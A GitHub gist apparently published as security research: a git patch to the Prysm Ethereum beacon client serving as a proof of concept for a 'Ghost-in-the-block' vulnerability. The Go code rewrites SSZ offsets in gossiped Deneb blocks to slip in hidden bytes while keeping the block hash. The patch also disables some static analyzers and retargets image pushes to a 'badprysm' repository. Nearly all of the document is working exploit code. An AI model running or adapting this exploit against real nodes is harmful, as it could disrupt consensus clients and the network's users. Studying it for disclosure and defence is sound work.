Skip to content

Instantly share code, notes, and snippets.

@sbudella-gco
Last active September 19, 2024 17:01
Show Gist options
  • Save sbudella-gco/910fafca7b3846e92d6945374bdd5b9a to your computer and use it in GitHub Desktop.
Save sbudella-gco/910fafca7b3846e92d6945374bdd5b9a to your computer and use it in GitHub Desktop.
Proof-of-concept for the Ghost-in-the-block vulnerability in Prysm
From e44f247cf44e5f2d70b2819c250c66e28b9f3c77 Mon Sep 17 00:00:00 2001
From: Giuseppe Cocomazzi <xyz@asymmetric.re>
Date: Wed, 18 Sep 2024 15:59:42 +0200
Subject: [PATCH] Changes for the Ghosty Boy.
---
BUILD.bazel | 6 +-
beacon-chain/p2p/encoder/BUILD.bazel | 1 +
beacon-chain/p2p/encoder/ssz.go | 100 +++++++++++++++++++++++++++
cmd/beacon-chain/BUILD.bazel | 3 +-
cmd/validator/BUILD.bazel | 3 +-
hack/build_and_upload_docker.sh | 12 ++--
6 files changed, 114 insertions(+), 11 deletions(-)
diff --git a/BUILD.bazel b/BUILD.bazel
index f3a5ed411..44a2b3309 100644
--- a/BUILD.bazel
+++ b/BUILD.bazel
@@ -126,7 +126,7 @@ STATICCHECK_ANALYZERS = [
"sa4003",
"sa4004",
"sa4005",
- "sa4006",
+# "sa4006",
"sa4008",
"sa4009",
"sa4010",
@@ -199,12 +199,12 @@ nogo(
"//tools/analyzers/errcheck:go_default_library",
"//tools/analyzers/featureconfig:go_default_library",
"//tools/analyzers/gocognit:go_default_library",
- "//tools/analyzers/ineffassign:go_default_library",
+ #"//tools/analyzers/ineffassign:go_default_library",
"//tools/analyzers/interfacechecker:go_default_library",
"//tools/analyzers/logruswitherror:go_default_library",
"//tools/analyzers/maligned:go_default_library",
"//tools/analyzers/nop:go_default_library",
- "//tools/analyzers/properpermissions:go_default_library",
+ #"//tools/analyzers/properpermissions:go_default_library",
"//tools/analyzers/recursivelock:go_default_library",
"//tools/analyzers/shadowpredecl:go_default_library",
"//tools/analyzers/slicedirect:go_default_library",
diff --git a/beacon-chain/p2p/encoder/BUILD.bazel b/beacon-chain/p2p/encoder/BUILD.bazel
index 27c5f71bd..e577f7987 100644
--- a/beacon-chain/p2p/encoder/BUILD.bazel
+++ b/beacon-chain/p2p/encoder/BUILD.bazel
@@ -20,6 +20,7 @@ go_library(
"@com_github_golang_snappy//:go_default_library",
"@com_github_pkg_errors//:go_default_library",
"@com_github_prysmaticlabs_fastssz//:go_default_library",
+ "//proto/prysm/v1alpha1:go_default_library",
],
)
diff --git a/beacon-chain/p2p/encoder/ssz.go b/beacon-chain/p2p/encoder/ssz.go
index 820af8461..83305bcdf 100644
--- a/beacon-chain/p2p/encoder/ssz.go
+++ b/beacon-chain/p2p/encoder/ssz.go
@@ -1,8 +1,11 @@
package encoder
import (
+ "encoding/binary"
+ "encoding/hex"
"fmt"
"io"
+ "reflect"
"sync"
"github.com/gogo/protobuf/proto"
@@ -11,6 +14,7 @@ import (
fastssz "github.com/prysmaticlabs/fastssz"
"github.com/prysmaticlabs/prysm/v5/config/params"
"github.com/prysmaticlabs/prysm/v5/math"
+ eth "github.com/prysmaticlabs/prysm/v5/proto/prysm/v1alpha1"
)
var _ NetworkEncoding = (*SszNetworkEncoder)(nil)
@@ -34,6 +38,68 @@ type SszNetworkEncoder struct{}
// ProtocolSuffixSSZSnappy is the last part of the topic string to identify the encoding protocol.
const ProtocolSuffixSSZSnappy = "ssz_snappy"
+func ghostInTheBlock(signedBBBz []byte) []byte {
+ blockOffset := fastssz.ReadOffset(signedBBBz[0:4])
+ bz := signedBBBz[blockOffset:]
+
+ bodyOffset := fastssz.ReadOffset(bz[80:84])
+ body := bz[bodyOffset:]
+ var o9, o10, o11, o20, o23, o24 uint64
+
+ // Offset (9) 'ExecutionPayload'
+ o9 = fastssz.ReadOffset(body[380:384])
+ // Offset (10) 'BlsToExecutionChanges'
+ o10 = fastssz.ReadOffset(body[384:388])
+ // Offset (11) 'BlobKzgCommitments'
+ o11 = fastssz.ReadOffset(body[388:392])
+
+ execPayload := body[o9:o10]
+ // Offset (10) 'ExtraData'
+ o20 = fastssz.ReadOffset(execPayload[436:440])
+ // Offset (13) 'Transactions'
+ o23 = fastssz.ReadOffset(execPayload[504:508])
+ // Offset (14) 'Withdrawals'
+ o24 = fastssz.ReadOffset(execPayload[508:512])
+
+ fmt.Printf("Ghost offsets before -- o9:%x o10:%x o11:%x o20:%x o23:%x o24:%x\n",
+ bodyOffset+o9, bodyOffset+o10, bodyOffset+o11, bodyOffset+o9+o20, bodyOffset+o9+o23, bodyOffset+o9+o24)
+
+ // insert a ghost region of N bytes
+ extraData := execPayload[o20:o23]
+
+ N := 8 + len(extraData)
+ buf := make([]byte, 4)
+ o20 += uint64(N)
+ o23 += uint64(N)
+ o24 += uint64(N)
+ o10 += uint64(N)
+ o11 += uint64(N)
+
+ fmt.Printf("Ghost offsets after -- o9:%x o10:%x o11:%x o20:%x o23:%x o24:%x\n",
+ bodyOffset+o9, bodyOffset+o10, bodyOffset+o11, bodyOffset+o9+o20, bodyOffset+o9+o23, bodyOffset+o9+o24)
+
+ binary.LittleEndian.PutUint32(buf, uint32(o10))
+ copy(body[384:388], buf)
+ binary.LittleEndian.PutUint32(buf, uint32(o11))
+ copy(body[388:392], buf)
+ binary.LittleEndian.PutUint32(buf, uint32(o23))
+ copy(execPayload[504:508], buf)
+ binary.LittleEndian.PutUint32(buf, uint32(o24))
+ copy(execPayload[508:512], buf)
+ binary.LittleEndian.PutUint32(buf, uint32(o20))
+ copy(execPayload[436:440], buf)
+
+ tail := make([]byte, N, N)
+ var i int
+ for i = 0; i < N-len(extraData); i++ {
+ tail[i] = 0x36
+ }
+ copy(tail[i:], extraData)
+
+ sb := append(signedBBBz[:blockOffset], bz[:bodyOffset+o11-uint64(N)]...)
+ return append(sb, tail...)
+}
+
// EncodeGossip the proto gossip message to the io.Writer.
func (_ SszNetworkEncoder) EncodeGossip(w io.Writer, msg fastssz.Marshaler) (int, error) {
if msg == nil {
@@ -43,6 +109,40 @@ func (_ SszNetworkEncoder) EncodeGossip(w io.Writer, msg fastssz.Marshaler) (int
if err != nil {
return 0, err
}
+
+ t := reflect.TypeOf(msg)
+ if t == reflect.TypeOf(&eth.SignedBeaconBlockDeneb{}) {
+ sbb, ok := msg.(*eth.SignedBeaconBlockDeneb)
+ if !ok {
+ return 0, errors.Errorf("message of %T does not support beacon block interface", msg)
+ }
+ if len(sbb.Block.Body.ExecutionPayload.Transactions) == 0 {
+ fmt.Println("Ghost in the block -- extraData:", sbb.Block.Body.ExecutionPayload.ExtraData)
+ b = ghostInTheBlock(b)
+
+ htr, err := sbb.Block.HashTreeRoot()
+ if err == nil {
+ fmt.Println("Ghost in the block -- before hash ", hex.EncodeToString(htr[:]))
+ }
+ tmpBlock := eth.SignedBeaconBlockDeneb{}
+ if err = tmpBlock.UnmarshalSSZ(b); err != nil {
+ fmt.Println("Ghost in the block: unable to unmarshal ghost block -- ", err)
+ return 0, err
+ }
+ tmpBlockBz, err := tmpBlock.MarshalSSZ()
+ if err != nil {
+ fmt.Println("Ghost in the block: unable to marshal ghost block back --", err)
+ }
+ if !reflect.DeepEqual(tmpBlockBz, b) {
+ fmt.Println("Ghost in the block: expected mismatch -- tmpBlockBz != bz")
+ }
+ htr, err = tmpBlock.Block.HashTreeRoot()
+ if err == nil {
+ fmt.Println("Ghost in the block -- after hash ", hex.EncodeToString(htr[:]))
+ }
+ }
+ }
+
if uint64(len(b)) > MaxGossipSize {
return 0, errors.Errorf("gossip message exceeds max gossip size: %d bytes > %d bytes", len(b), MaxGossipSize)
}
diff --git a/cmd/beacon-chain/BUILD.bazel b/cmd/beacon-chain/BUILD.bazel
index 92a0b7d04..1e5e0ba37 100644
--- a/cmd/beacon-chain/BUILD.bazel
+++ b/cmd/beacon-chain/BUILD.bazel
@@ -73,7 +73,8 @@ prysm_image_upload(
name = "push_images",
binary = ":beacon-chain",
entrypoint = ["/beacon-chain"],
- repository = "gcr.io/prysmaticlabs/prysm/beacon-chain",
+ #repository = "gcr.io/prysmaticlabs/prysm/beacon-chain",
+ repository = "AR/badprysm/beacon-chain",
symlinks = {
# Backwards compatibility for images that depended on the old filepath.
"/app/cmd/beacon-chain/beacon-chain": "/beacon-chain",
diff --git a/cmd/validator/BUILD.bazel b/cmd/validator/BUILD.bazel
index 8fe1251bf..32fdf9ea0 100644
--- a/cmd/validator/BUILD.bazel
+++ b/cmd/validator/BUILD.bazel
@@ -60,7 +60,8 @@ prysm_image_upload(
name = "push_images",
binary = ":validator",
entrypoint = ["/validator"],
- repository = "gcr.io/prysmaticlabs/prysm/validator",
+ #repository = "gcr.io/prysmaticlabs/prysm/validator",
+ repository = "AR/badprysm/validator",
symlinks = {
# Backwards compatibility for images that depended on the old filepath.
"/app/cmd/validator/validator": "/validator",
diff --git a/hack/build_and_upload_docker.sh b/hack/build_and_upload_docker.sh
index c80e82fe7..221fc0369 100755
--- a/hack/build_and_upload_docker.sh
+++ b/hack/build_and_upload_docker.sh
@@ -4,7 +4,7 @@
# This script builds and uploads the docker images to the registries.
#
# This script is intended to be a workaround until the rules_oci project supports
-# targets with multiple repositories like rules_docker does. See: https://github.com/bazel-contrib/rules_oci/issues/248
+# targets with multiple repositories like rules_docker does. See: https://github.com/bazelisk-contrib/rules_oci/issues/248
# -----------------------------------------------------------------------------
# Validate that the tag argument exists.
@@ -16,24 +16,24 @@ fi
TAG=$1
# Sanity check that all targets can build before running them.
-bazel build --config=release \
+bazelisk build --config=release \
//cmd/beacon-chain:push_oci_image \
//cmd/validator:push_oci_image \
//cmd/prysmctl:push_oci_image
# Push the images to the registry.
### Beacon chain
-bazel run --config=release \
+bazelisk run --config=release \
//cmd/beacon-chain:push_oci_image -- --tag=$TAG
### Beacon chain (blst portable image)
-bazel run --config=release --define=blst_modern=false \
+bazelisk run --config=release --define=blst_modern=false \
//cmd/beacon-chain:push_oci_image -- --tag=$TAG-portable
### Validator
-bazel run --config=release \
+bazelisk run --config=release \
//cmd/validator:push_oci_image -- --tag=$TAG
### Prysmctl
-bazel run --config=release \
+bazelisk run --config=release \
//cmd/prysmctl:push_oci_image -- --tag=$TAG
--
2.43.0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment